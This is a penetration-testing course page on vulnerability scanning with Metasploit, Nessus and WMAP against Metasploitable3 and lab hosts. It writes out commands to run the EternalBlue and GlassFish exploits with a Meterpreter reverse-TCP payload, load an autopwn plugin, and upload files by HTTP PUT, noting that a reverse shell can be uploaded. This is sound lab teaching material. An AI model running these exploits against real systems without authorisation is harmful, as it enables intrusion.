# 1.2.2.3 Vulnerability Scanning

## Vulnerability Scanning With MSF <a href="#vulnerability-scanning-with-msf" id="vulnerability-scanning-with-msf"></a>

MSF **Auxiliary** and **exploit** modules can be utilized to identify inherent vulnerabilities in services, O.S. and web apps.

* Useful in the **Exploitation** phase of the pentest

🔬 [Metasploitable3](https://github.com/rapid7/metasploitable3) lab environment will be used for the vulnerability scanning demonstration.

* **Metasploitable3** is a vulnerable virtual machine developed by Rapid7, intended to be used as a vulnerable target for testing exploits with Metasploit.

> 🔬 You can find my lab installation & configuration with Vagrant at [this page](https://blog.syselement.com/home/home-lab/redteam/metasploitable3), _set up for educational purposes_.

* Kali Linux attacker machine must be configured with **the same local network** of the Metasploitable3 VMs.

Detect active hosts on the local network, from the Kali VM:sudo nmap -sn 192.168.31.0/24Nmap scan report for 192.168.31.139 # Linux targetNmap scan report for 192.168.31.140 # Windows2008 target

* Run Metasploit:

service postgresql start && msfconsole -qdb\_statussetg RHOSTS 192.168.31.140setg RHOST 192.168.31.140workspace -a VULN\_SCAN\_MS3

* **Service version** is a key piece of information for the vulnerabilities scanning. Use the **`db_nmap`** command inside the MSF

db\_nmap -sS -sV -O 192.168.31.140\[\*] Nmap: 21/tcp open ftp Microsoft ftpd\[\*] Nmap: 22/tcp open ssh OpenSSH 7.1 (protocol 2.0)\[\*] Nmap: 80/tcp open http Microsoft IIS httpd 7.5\[\*] Nmap: 135/tcp open msrpc Microsoft Windows RPC\[\*] Nmap: 139/tcp open netbios-ssn Microsoft Windows netbios-ssn\[\*] Nmap: 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds\[\*] Nmap: 3306/tcp open mysql MySQL 5.5.20-log\[\*] Nmap: 3389/tcp open tcpwrapped\[\*] Nmap: 4848/tcp open ssl/http Oracle GlassFish 4.0 (Servlet 3.1; JSP 2.3; Java 1.8)\[\*] Nmap: 7676/tcp open java-message-service Java Message Service 301\[\*] Nmap: 8009/tcp open ajp13 Apache Jserv (Protocol v1.3)\[\*] Nmap: 8080/tcp open http Oracle GlassFish 4.0 (Servlet 3.1; JSP 2.3; Java 1.8)\[\*] Nmap: 8181/tcp open ssl/http Oracle GlassFish 4.0 (Servlet 3.1; JSP 2.3; Java 1.8)\[\*] Nmap: 8383/tcp open http Apache httpd\[\*] Nmap: 9200/tcp open wap-wsp?\[\*] Nmap: 49152/tcp open msrpc Microsoft Windows RPC\[\*] Nmap: 49153/tcp open msrpc Microsoft Windows RPC\[\*] Nmap: 49154/tcp open msrpc Microsoft Windows RPC\[\*] Nmap: 49155/tcp open msrpc Microsoft Windows RPC\[...]db\_nmaphostsservices

<figure><img src="https://2946054920-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlhjuckuLbvBn36EoFL7P%2Fuploads%2Fgit-blob-da30e0d4036528a13a9f80ff9d8b01fdd950c4eb%2Fimage-20230413200524969.png?alt=media" alt=""><figcaption></figcaption></figure>

* Manually search for a specific exploit
  * Check if there are any exploits for a particular **version** of a service

search type:exploit name:iissearch type:exploit name:iissearch Sun GlassFish

<figure><img src="https://2946054920-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlhjuckuLbvBn36EoFL7P%2Fuploads%2Fgit-blob-375c51ac9321889fd7f66157154bed2363465c80%2Fimage-20230413192845621.png?alt=media" alt=""><figcaption></figcaption></figure>

* Check if a module will work on the specific version of the service

use exploit/multi/http/glassfish\_deployerinfo​# Description:# This module logs in to a GlassFish Server (Open Source or# Commercial) using various methods (such as authentication bypass,# default credentials, or user-supplied login), and deploys a# malicious war file in order to get remote code execution. It has# been tested on Glassfish 2.x, 3.0, 4.0 and Sun Java System# Application Server 9.x. Newer GlassFish versions do not allow remote# access (Secure Admin) by default, but is required for exploitation.set payload windows/meterpreter/reverse\_tcpoptions# check the LHOST, LPORT, APP\_RPORT, RPORT, PAYLOAD options

* Use [searchsploit](https://www.exploit-db.com/searchsploit) tool from the Kali terminal, instead of `search MSF command`, by displaying only the Metasploit exploit modules

searchsploit "Microsoft Windows SMB" | grep -e "Metasploit"

<figure><img src="https://2946054920-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlhjuckuLbvBn36EoFL7P%2Fuploads%2Fgit-blob-ccd61dd756b19c9fe6732fd4bc6df233f08f8c9a%2Fimage-20230413194606641.png?alt=media" alt=""><figcaption></figcaption></figure>

* Back in `msfconsole`, check if the server is vulnerable to MS17-010

search eternalblueuse auxiliary/scanner/smb/smb\_ms17\_010runuse exploit/windows/smb/ms17\_010\_eternalblueoptions# always check Payload optionsrun

<figure><img src="https://2946054920-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlhjuckuLbvBn36EoFL7P%2Fuploads%2Fgit-blob-e9399a0e6c8efc589338f07390d7ad79f5433cf8%2Fimage-20230413200558380.png?alt=media" alt=""><figcaption></figcaption></figure>

> ​[**metasploit-autopwn**](https://github.com/hahwul/metasploit-autopwn) - a Metasploit plugin for easy exploit & vulnerability attack.
>
> * _takes a look at the Metasploit database and provides a list of exploit modules to use for the already enumerated services_

* On a Kali terminal

wget https://raw.githubusercontent.com/hahwul/metasploit-autopwn/master/db\_autopwn.rbsudo mv db\_autopwn.rb /usr/share/metasploit-framework/plugins/

* On `msfconsole`

load db\_autopwndb\_autopwn -p -t# Enumerates exploits for each of the open portsdb\_autopwn -p -t -PI 445# Limit to only the 445 portdb\_autopwn -p -t -PI 445

<figure><img src="https://2946054920-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlhjuckuLbvBn36EoFL7P%2Fuploads%2Fgit-blob-aebfca43b742e41d758e63a2e3e6b0cdbc355643%2Fimage-20230413202435550.png?alt=media" alt=""><figcaption></figcaption></figure>

* On `msfconsole` use the **`analyze`** command to auto analyze the contents of the MSFdb (hosts & services)

analyzeanalyzevulnsvulns

<figure><img src="https://2946054920-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlhjuckuLbvBn36EoFL7P%2Fuploads%2Fgit-blob-ceda763cca80af814cb9304c543bd68cb4bb61f3%2Fimage-20230413202802181.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2946054920-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlhjuckuLbvBn36EoFL7P%2Fuploads%2Fgit-blob-f2413c550b79a3a1148a63bdb63d63dc5778b675%2Fimage-20230413202708057.png?alt=media" alt=""><figcaption></figcaption></figure>

## VA with [Nessus](https://www.offsec.com/metasploit-unleashed/working-with-nessus/)​ <a href="#va-with-nessus" id="va-with-nessus"></a>

> 🔬 You can find my [**Nessus Essentials** install tutorial here](https://blog.syselement.com/home/operating-systems/linux/tools/nessus).

* A vulnerability scan with Nessus result can be imported into the MSF for analysis and exploitation.
* Nessus Essentials free version allows to scan up to 16 IPs.

Start Nessus Essentials on the Kali VM, login and create a New **Basic Network Scan** and run it.Wait for the scan conclusion and export the results with the **Export/Nessus** button.Nessus Essentials - Metasploitable3

<figure><img src="https://2946054920-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlhjuckuLbvBn36EoFL7P%2Fuploads%2Fgit-blob-986ff2afeccc2978f8dfefa575f9bdf4d236d58d%2Fimage-20230413222104319.png?alt=media" alt=""><figcaption></figcaption></figure>

* Open the `msfconsole` terminal and import the Nessus results
  * Check the information from the scan results with the `hosts`, `services`, `vulns` commands

workspace -a MS3\_NESSUSdb\_import /home/kali/Downloads/MS3\_zph3t5.nessushostsservicesvulnsvulns -p 445search cve:2017 name:smbsearch MS12-020search cve:2019 name:rdpsearch cve:2015 name:ManageEnginesearch PHP CGI Argument Injection

<figure><img src="https://2946054920-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlhjuckuLbvBn36EoFL7P%2Fuploads%2Fgit-blob-22fa84721de13f146690e31e9bde9df8926340e6%2Fimage-20230413222411974.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2946054920-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlhjuckuLbvBn36EoFL7P%2Fuploads%2Fgit-blob-1562ae2abdb68d12d5245bf395d9dd026ad7295c%2Fimage-20230413222333897.png?alt=media" alt=""><figcaption></figcaption></figure>

#### VA with [WMAP](https://www.offsec.com/metasploit-unleashed/wmap-web-scanner/)​ <a href="#va-with-wmap" id="va-with-wmap"></a>

🗒️ **WMAP** is a web application vulnerability scanner that allows to conduct and automate web server enumeration and scanning from within the Metasploit Framework.

* Available as a fully integrated MSF plugin
* Utilizes the in-built MSF auxiliary modules

> 🔬 The lab is the same one from the HTTP Metasploit Enumeration section above - [Metasploit - Apache Enumeration Lab](https://www.attackdefense.com/challengedetails?cid=118)​

ip -br -c a192.28.60.3# Target IP​service postgresql start && msfconsole -qdb\_statussetg RHOSTS 192.28.60.3setg RHOST 192.28.60.3workspace -a WMAP\_SCAN

* Load WMAP extension within `msfconsole`

load wmapload wmap

<figure><img src="https://2946054920-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlhjuckuLbvBn36EoFL7P%2Fuploads%2Fgit-blob-c0b6ef2389f185e284ff6f7adfeafebf8c20102a%2Fimage-20230415164951596.png?alt=media" alt=""><figcaption></figcaption></figure>

* Add WMAP site

wmap\_sites -a 192.28.60.3

* Specify the target URL

wmap\_targets -t http://192.28.60.3wmap\_sites -lwmap\_targets -l

* Show only the MSF modules that will be able to be run against target

wmap\_run -t

* Run the **web app vulnerability scan**
  * this will run all enabled modules against the target web server

wmap\_run -e

* _Analyze the results produced by WMAP._

wmap\_run -twmap\_run -e

<figure><img src="https://2946054920-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlhjuckuLbvBn36EoFL7P%2Fuploads%2Fgit-blob-e1c6ae0eaf0eeb364e08f62acd3996d79d8076dd%2Fimage-20230415170207090.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2946054920-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlhjuckuLbvBn36EoFL7P%2Fuploads%2Fgit-blob-95e786ae8af9e36702f2dca72d5c949173c12d85%2Fimage-20230415165930386.png?alt=media" alt=""><figcaption></figcaption></figure>

* List WMAP found vulnerabilities

wmap\_vulns -l

* Since the allowed methods are `POST`, `OPTIONS`, `GET`, `HEAD`, exploit the vulnerability with the use of `auxiliary/scanner/http/http_put` module to upload a file into the `/data` directory
  * 📌 A reverse shell payload can be uploaded and run on the target.

use auxiliary/scanner/http/http\_putoptionsset PATH /data/set FILEDATA "File uploaded"set FILENAME file.txtrunMetasploit - auxiliary/scanner/http/http\_put

<figure><img src="https://2946054920-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlhjuckuLbvBn36EoFL7P%2Fuploads%2Fgit-blob-23e3f18254581336f1ee00860ef87f174f176772%2Fimage-20230415171358249.png?alt=media" alt=""><figcaption></figcaption></figure>

* Test if the file has been uploaded correctly

curl http://192.28.60.3:80/data/file.txt
